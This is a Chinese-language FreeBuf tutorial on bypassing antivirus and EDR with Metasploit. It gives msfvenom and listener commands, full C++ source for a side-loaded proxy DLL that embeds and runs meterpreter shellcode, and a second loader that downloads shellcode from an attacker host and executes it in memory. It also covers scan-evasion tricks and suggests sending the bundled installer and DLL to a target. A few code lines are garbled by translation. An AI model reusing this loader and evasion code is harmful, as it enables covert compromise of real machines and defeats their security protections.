freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试 | 如何利用MSF绕过安全设备检测
2024-05-06 10:55:52

0X00前言

笔者最近看到一些使用Havoc C2针对EDAV/EDR/IDS安全设备进行绕过的教程,于是笔者成为了踩坑人,利用Metasploit框架(MSF)进行步骤的复现和部分优化,帮助大家了解如何利用MSF绕过EDR检测。众所周知,Metasploit框架(MSF)是一种先进的恶意软件利用工具,它已迅速成为众多开源 C2(命令和控制)工具中的佼佼者。它提供了进行渗透测试或参与红队活动所必需的所有功能。其设计目标是最大程度地做到灵活和模块化。换句话说,即代理设计为可以与常用技术协同工作,通过利用加载器、包装器、加密器和stager等软件来绕过AV/EDR(防病毒/端点检测和响应)。

为了使C2绕过EDR等安全设备,将采取特定措施以减少shellcode被基于签名和动态分析的检测系统识别的可能性,同时使网络流量更加隐蔽,笔者将会采用如下方法,进行隐藏:

  1. 利用HTTPS对第一和第二阶段的有效载荷传输进行加密,并采用认证的或非默认SSL证书以增强安全性

  2. 在第一和第二阶段的监听器/负载中加入定制的标头、用户代理、证书、URI、时间抖动和ROP链,这样可以增加对手团队和AV/EDR系统识别C2连接的难度

  3. 使用定制的DLL(装载程序)通过DLL代理劫持及从通用PE(便携式可执行文件)进行侧面加载来实现隐蔽运行

  4. 运用重定向服务器和端口转发技术来隐藏命令和控制服务器的实际位置。

  5. 将可执行文件和DLL放置在常规的程序文件夹内,并配置为在系统登录时自启动

0X01配置Metasploit框架

反弹式TCP连接需要输入set  windows/x64/meterpreter/reverse_tcp以选择reverse_tcp(反弹式TCP连接)攻击载荷,输入show options我们可以看到需要设置的一些参数,例如:可以配置目标主机回连到攻击机的特定IP地址和端口号上,因此被称为反弹式的攻击载荷。在Required为yes的为必须设置,no则为可选项。看到我们需要对这个攻击载荷LHOST本地主机和RHOST(远程主机)进行设置,将LHOST设置为我们攻击机的IP地址,远程主机将反向连接到攻击机默认的TCP端口,当然可以自己设置端口,因为这种反弹式的回连适合存在防火墙和NAT网关的环境,可以设置防火墙一般会允许通行的常用端口号(443、80、8080之类的)

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name           Current Setting Required Description
----           --------------- -------- -----------
RHOSTS                         yes       The target address range or CIDR identifier
RPORT         445             yes       The target port (TCP)
SMBDomain     .               no       (Optional) The Windows domain to use for authentication
SMBPass                         no       (Optional) The password for the specified username
SMBUser                         no       (Optional) The username to authenticate as
VERIFY_ARCH   true             yes       Check if remote architecture matches exploit Target.
VERIFY_TARGET true             yes       Check if remote OS matches exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

Name     Current Setting Required Description
----     --------------- -------- -----------
EXITFUNC thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                     yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port


Exploit target:

Id Name
-- ----
0   Windows 7 and Server 2008 R2 (x64) All Service Packs


0X02利用MSF创建第一阶段Shellcode

需要创建第一阶段有效负载,这是受害者上恶意DLL加载器(在磁盘上)内的唯一shellcode。我们首先要生成一个不会被指纹识别为来自msfvenom的SSL证书。这是一个需要注意的点,否则meterpreter连接将被安全人员检测到。

1715045332_663983d490d0c2e4f24ba.png!small?1715045330873

然后我们使用以下选项编译 shellcode,以帮助C2避免被AV/EDR等安全设备检测到,编译方法如下所示:

msfvenom -p windows/x64/custom/reverse_https LHOST=10.0.2.9 LPORT=8443 EXITFUNC=thread -f raw HttpUserAgent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,如 Gecko) Chrome/96.0。 4664.110 Safari/537.36' LURI=blog.html HandlerSSLCert=/home/atler/Downloads/www.xxxx.com.pem

此shellcode创建到攻击者计算机的反向shell连接,以传输刚刚生成的第 二阶段有效负载 (demon.x64.bin),可以发现生成的shellcode2500字节左右,这已经很不错了。

1715045347_663983e3b11c1b4024cfe.png!small?1715045346413

现在我们需要使用msfconsole创建一个侦听器来处理我们刚刚创建的反向shell代码。我们确保输入SHELLCODE_FILE作为我们之前生成的C2二进制文件 (demon.x64.bin),以便我们可以在通过meterpreter HTTPS进行初始连接后发送第二阶段有效负载,可以选择如下选项:

设置有效负载windows/x64/custom/reverse_https

设置exitfunc线程

设置lhost <IP 地址>

设置端口8443

设置luri blog.html

设置HttpServerName Blogger

设置shellcode_file demo.x64.bin

设置退出会话false

设置HttpHostHeader www.xxxx.com

设置HandlerSSLCert www.xxx.com.pem......

1715045363_663983f3b3b2af9db1b2f.png!small?1715045362210

我们的连接流程如下所示:受害者在磁盘上执行第1阶段有效负载===>攻击者从端口8443(Metasploit)下载第2阶段有效负载===>在受害者上执行第 2 阶段连接,并在攻击者上建立到端口 443 (Havoc C2) 的 C2

通过DLL代理劫持+侧载执行C2连接

怎么样才可以隐蔽的运行恶意的黑DLL呢?答案有很多,但是很多方法的原理是利用一些社会工程学的原理来实现的。就实战环境而言可以做的是在PowerShell中使用rundll32.exe,虽然这很可能被EDR等安全设备捕获,所以需要在PowerShell中绕过AMSI,因此需要要做的是通过普通PE的DLL代理来侧载黑DLL。

如何选择合适的PE

首先需要找到一个易受攻击的PE,最好是有企业(微软等)签名/受信任的,并允许侧加载DLL,这意味着如果DLL具有正确的名称并且与PE位于同一目录中,则DLL将随PE一起加载(默认情况下)对于 64 位系统。我将使用Sumatra PDF设置可执行文件(Sumatra PDF下载链接)。

寻找可劫持的DLL

如果只是将DLL放在与SumatraPDF.exe相同的目录中是不太够的,因为我们不知道需要加载的DLL的名称,即使知道,一旦运行也会破坏PE本身,从而被安全设备捕获。 DLL代理是一种恢复主机DLL执行流(函数调用)的技术,因此PE不会被损坏。为了查找易受攻击的 DLL 的名称并创建.cpp模板,我们将使用一个名为Spartacus(下载链接)的工具来寻找可劫持DLL。

在Windows系统上,可以在Powershell中运行以下命令,然后从系统上的任何位置执行SumatraPDF.exe。还需要从sysinternals下载procmon。然后利用Spartacus寻到可劫持的DLL(例如:DWrite.dll...),并且导出生成一个.cpp模板,我们可以使用Visual Studio打开导出的模板,当侧加载DLL时,该模板才不会破坏特定的PE!

.\Spartacus.exe — mode dll — procmon .\Procmon.exe — pml C:\Data\logs.pml — csv C:\Data\VulnerableDLLFiles.csv — solution C:\Data\Solutions — verbose

1715045387_6639840b9e523575b5b48.png!small?1715045386800

顶部的编译指示注释解析合法的DLL导出表并创建一个包含导出定义的C++ 头,C++ 编译链接器可使用该头来创建新的恶意DLL。这个时候可以使用我们的第一阶段有效负载Shellcode在Visual Studio中加载Spartacus生成的 .cpp 模板。

1715045400_66398418cf7445d092671.png!small?1715045399257

构建可劫持的DLL
#pragma once
#pragma comment(linker,”/export:DWriteCreateFactory=C:\\Windows\\System32\\DWrite.DWriteCreateFactory,@1")

#include “windows.h”
#include “ios”
#include “fstream”

VOID Payload() {
unsigned char shellcode[] =
“\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50”
“\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x51\x56\x48\x8b\x52”
“\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f”
“\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41”
“\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52”
“\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f”
“\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0”
“\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49”
“\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88”
“\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1”
“\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8”
“\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44”
“\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41”
“\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83”
“\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9”
“\x4b\xff\xff\xff\x5d\x48\x31\xdb\x53\x49\xbe\x77\x69\x6e”
“\x69\x6e\x65\x74\x00\x41\x56\x48\x89\xe1\x49\xc7\xc2\x4c”
“\x77\x26\x07\xff\xd5\x53\x53\x48\x89\xe1\x53\x5a\x4d\x31”
“\xc0\x4d\x31\xc9\x53\x53\x49\xba\x3a\x56\x79\xa7\x00\x00”
“\x00\x00\xff\xd5\xe8\x09\x00\x00\x00\x31\x30\x2e\x30\x2e”
“\x32\x2e\x39\x00\x5a\x48\x89\xc1\x49\xc7\xc0\xfb\x20\x00”
“\x00\x4d\x31\xc9\x53\x53\x6a\x03\x53\x49\xba\x57\x89\x9f”
“\xc6\x00\x00\x00\x00\xff\xd5\xe8\x29\x00\x00\x00\x2f\x62”
“\x6c\x6f\x67\x2e\x68\x74\x6d\x6c\x2f\x61\x78\x62\x43\x49”
“\x54\x55\x31\x31\x4f\x6f\x69\x31\x79\x50\x56\x52\x32\x61”
“\x54\x48\x67\x43\x42\x33\x6a\x76\x50\x43\x00\x48\x89\xc1”
“\x53\x5a\x41\x58\x4d\x31\xc9\x53\x48\xb8\x00\x32\xa8\x84”
“\x00\x00\x00\x00\x50\x53\x53\x49\xc7\xc2\xeb\x55\x2e\x3b”
“\xff\xd5\x48\x89\xc6\x6a\x0a\x5f\x48\x89\xf1\x6a\x1f\x5a”
“\x52\x68\x80\x33\x00\x00\x49\x89\xe0\x6a\x04\x41\x59\x49”
“\xba\x75\x46\x9e\x86\x00\x00\x00\x00\xff\xd5\x4d\x31\xc0”
“\x53\x5a\x48\x89\xf1\x4d\x31\xc9\x4d\x31\xc9\x53\x53\x49”
“\xc7\xc2\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x23\x48\xc7”
“\xc1\x88\x13\x00\x00\x49\xba\x44\xf0\x35\xe0\x00\x00\x00”
“\x00\xff\xd5\x48\xff\xcf\x74\x02\xeb\xaa\x49\xc7\xc2\xf0”
“\xb5\xa2\x56\xff\xd5\x53\x48\x89\xe2\x53\x49\x89\xe1\x6a”
“\x04\x41\x58\x48\x89\xf1\x49\xba\x12\x96\x89\xe2\x00\x00”
“\x00\x00\xff\xd5\x85\xc0\x74\xd8\x48\x83\xc4\x28\x53\x59”
“\x5a\x48\x89\xd3\x6a\x40\x41\x59\x49\xc7\xc0\x00\x10\x00”
“\x00\x49\xba\x58\xa4\x53\xe5\x00\x00\x00\x00\xff\xd5\x48”
“\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x49\x89\xc0\x48\x89”
“\xda\x49\x89\xf9\x49\xba\x12\x96\x89\xe2\x00\x00\x00\x00”
“\xff\xd5\x48\x83\xc4\x20\x85\xc0\x0f\x84\x8c\xff\xff\xff”
“\x58\xc3”;

HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

1715045421_6639842d6922289bda622.png!small?1715045420897

也可以更改上面的代码,加入混淆的手段,不过会造成熵的增高。代码最重要的是顶部的编译指示注释(在我的例子中只有一个),基本上会运行 DWrite.dll 导出表。建议删除了默认包含在Spartacus模板中的hModule和DebugToFile()函数。并且还将为第一阶段有效负载创建的msfvenom shellcode复制并粘贴到变量shellcode中。然后创建一个Payload()函数,该函数实际上使用Sumatra PDF 可执行文件中的RemoteThread执行shellcode 。这个时候,先关闭Defender来确保的DWrite.DLL正常工作,可以在下面的procmon中看到我们的自定义DLL首先被加载,然后它排队加载C:\Windows\System32\DWrite中的原始文件.dll。这就实现了DLL侧加载,与此同时程序不会崩溃。

Procmon POC:首先加载SumatraPDF Installer文件夹中的恶意DLL

1715045440_6639844072df501b11821.png!small?1715045439034

Procmon POC:C:\Windows\system32中的合法DLL,恶意DLL中的导出定义执行

1715045453_6639844de02d2907caf23.png!small?1715045452468

0X03利用MSF创建第二阶段Shellcode

来创建第二阶段的shellcode,该代码将在初始第一阶段连接后从攻击者传输到受害者。目的是这个shellcode比第一阶段shellcode大得多,因此需要减少放在磁盘当中shellcode的大小。下面介绍一些使第二阶段shellcode有效负载更加隐蔽的选项的一些知识,具体代码在0X04可以看见:

在睡眠阶段使用堆栈复制来逃避 C2 操作期间的检测。

RtlCreateTimer 用于在睡眠周期之间对 ROP 链本身进行排队。

间接系统调用使系统调用命令的执行发生在 ntdll.dll 的内存中,因此对于 EDR 来说是合法的。通过用间接系统调用替换直接系统调用,生成的调用堆栈模仿了更传统的执行模式。这对于绕过检查执行系统调用及其返回的内存区域的 EDR 系统非常有用。其弱点是 ETW,可以通过下面描述的硬件断点来补偿。

Foliage 是一种睡眠混淆技术,它创建一个新线程并使用 NtApcQueueThread 对 ROP 链进行排队。面向返回的编程(或 ROP)是将小段汇编代码与堆栈控制链接在一起,使程序执行更复杂的事情。在这种情况下,Foliage 会加密我们的代理内存并延迟执行。

AMSI(反恶意软件扫描接口)和 ETW(Windows 事件跟踪)的结合使红队模拟攻击(例如域枚举和权限升级)变得具有挑战性,因为 AMSI 扫描代码,ETW 提供有关 PE 使用的类和方法的报告。因此,我们希望通过硬件断点来绕过这个问题,这基本上会在调试模式下加载一个新进程,而无需挂钩 EDR 或 amsi.dll。

0X04测试AV/EDR检测

这个时候可以将SumatraPDF-3.5.2–64-install.exe和劫持成功的DLL以压缩文件的形式发送给目标。这仍然不会绕过像Defender这样的保护,但可以通过一些变形来绕过安全检测,达到目的。

1715045468_6639845c8659e270f7adf.png!small?1715045466625


1715045535_6639849f7512b7f18cf1e.png!small

重新打开Defender并尝试运行可执行文件后,我们发现Defender仍然捕获恶意DLL。具体来说Defender会检测硬编码在shellcode变量中meterpreter的shellcode 。这个时候就需要找到一种方法来加载这个shellcode,而不是将其直接放入DLL中。为此,需要将shellcode变量从远程服务器加载到目标的本地内存中,这应该可以减少在脚本中硬编码的特征值。

#pragma once
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include “ios”
#include “fstream”
char ip[] = “10.0.2.9”;
char port[] = “80”;
char resource[] = “iloveblogs.bin”;
#pragma comment(lib, “ntdll”)
#pragma comment(linker,”/export:DWriteCreateFactory=C:\\Windows\\System32\\DWrite.DWriteCreateFactory,@1")
#pragma comment (lib, “Ws2_32.lib”)
#pragma comment (lib, “Mswsock.lib”)
#pragma comment (lib, “AdvApi32.lib”)
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
EXTERN_C NTSTATUS NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLRGE_INTEGER Timeout
);
void getShellcode_Run(char* host, char* port, char* resource) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = “”;
lstrcatA(sendbuf, “GET /”);
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult!= 0) {
printf(“WSAStartup failed with error: %d\n”, iResult);
return;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult!= 0) {
printf(“getaddrinfo failed with error: %d\n”, iResult);
WSACleanup();
return;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr!= NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf(“socket failed with error: %ld\n”, WSAGetLastError());
WSACleanup();
return;
}
// Connect to server.
printf(“[+] Connect to %s:%s”, host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf(“Unable to connect to server!\n”);
WSACleanup();
return;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf(“send failed with error: %d\n”, WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return;
}
printf(“\n[+] Sent %ld Bytes\n”, iResult);

// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf(“shutdown failed with error: %d\n”, WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return;
}

// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
printf(“[+] Received %d Bytes\n”, iResult);
else if (iResult == 0)
printf(“[+] Connection closed\n”);
else
printf(“recv failed with error: %d\n”, WSAGetLastError());
//EXECUTE SHELLCODE (BUF) START
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof recvbuf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, recvbuf, sizeof recvbuf, NULL);
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
// EXECUTE SHELLCODE (BUF) END
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
getShellcode_Run(ip, port, resource);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

因此会注意到,这实际上会绕过Defender (YAY),但可能不会绕过某些更专注地扫描内存的 EDR 产品。当调用在DLL中使用的CreateProcess和CreateRemoteThread等函数时,其他安全设备可能会扫描内存。因此,为了避免可能的检测,即使在内存中也应该隐藏代码执行:

  1. 获取目标进程的句柄。 GetProcessesByName 将用于此目的,然后使用 OpenProcess 打开目标进程(就像我们之前所做的那样,没有变化)

HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());

  1. 调用VirtualAllocEx在目标进程内分配内存(就像我们之前所做的那样,没有变化)

PVOID RemoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof recvbuf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  1. 调用VirtualProtectEx在内存区域设置PAGE_NO_ACCESS,这样AV就无法扫描它,但我们也无法写入它。

VirtualProtectEx(processHandle,remoteBuffer,recvbuf的大小,0x01,NULL);

  1. 使用 CreateRemoteThread生成一个挂起的线程,以便创建该线程,但在显式恢复之前不会开始运行。

HANDLE RemoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0x00000004, NULL);

  1. 等待 AV 尝试执行扫描,但由于无法读取内存,因此不会出现任何结果。这可能需要长达 15 秒的延迟,但一秒几乎不会被注意到。

sleep(1090);

  1. 在AV完成该操作并认为安全后,再次使用VirtualProtectEx将权限设置回 PAGE_EXECUTE_READWRITE

VirtualProtectEx(processHandle,remoteBuffer,recvbuf的大小,PROCESS_ALL_ACCESS,NULL);

  1. 最后,调用 ResumeThread 来启动线程

恢复线程(远程线程);

  1. 使用WriteProcessMemory在内存中运行shellcode

WriteProcessMemory(processHandle,remoteBuffer,recvbuf,sizeofrecvbuf,NULL);

0X05绕过AV/EDR检测

如果这个Meterpreter shellcode有效,那么我们的C2连接肯定应该有效,因为我们为此实现了更新的旁路和模糊技术。这个时候运行Sumatra PDF安装程序,加载shellcode,发现Windows Defender已启用但是没有报毒,Sumatra PDF安装程序正常运行。

1715045491_663984733be4d879141ad.png!small?1715045489770

恶意的DLL会从HTTP服务器获取第一阶段有效载荷,并通过HTTPS将其执行到meterpreter multi/listener当中。

1715045506_663984824b7528e84c30a.png!small?1715045505105通过meterpreter建立HTTPS连接,并在受害者上下载并执行第二阶段有效负载。

1715045519_6639848f86f420eaf02bd.png!small?1715045517929

0X06Wireshark分析流量

我对这些连接在Wireshark上的样子很感兴趣。对于下图的流量进行分析,攻击者 IP 为10.0.2.9,目标IP为10.0.2.15。第一阶段有效负载shellcode加载到内存后,受害者执行它来下载第二阶段有效负载。在初次TCP握手后,目标表示这是我创建安全会话的所有选项;服务器说这是我的证书和我的会话选项);目标回来说我想使用这些选项;服务器创建一个新的会话票证,目标确认会话票证;使用加密的会话票证将第二阶段有效负载发送给目标。对比来说,流量在网络方面看起来是正常的。

1715045611_663984eb1b3523144b522.png!small?1715045609500

1715045629_663984fd0a5188079da54.png!small?1715045628114

目标(客户端)继续向服务器(攻击者)发送应用程序数据,服务器(攻击者)以ACK进行响应。数据包长度似乎也大致相同,因此我认为魔改的MSF的C2可以很好地应对大多数EDR和IDS/IPS规则集。

0X07参考资料

笔者实现了,目标从HTTP服务器的端口80下载 iloveblogs.bin的shellcode(第一阶段)并将其加载到内存中===>目标在攻击者上执行从端口8443下载的第一阶段有效负载 (iloveblogs.bin)===>在受害者上执行第二阶段shellcode,并在攻击者上建立到端口443的连接的过程,这个攻击方法仍旧是目前比较流行的攻击方法。在其中还是有不少有待提高的方面,希望大家有所启发。

参考链接:

https://www.anquanke.com/post/id/235631

https://medium.com/@sam.rothlisberger/havoc-c2-with-av-edr-bypass-methods-in-2024-part-1-733d423fc67b

https://www.outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/

https://cymulate.com/blog/blindside-a-new-technique-for-edr-evasion-with-hardware-breakpoints

# MSF渗透 # 绕过杀软 # Windows Defender # AV/EDR绕过 # EDR绕过
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录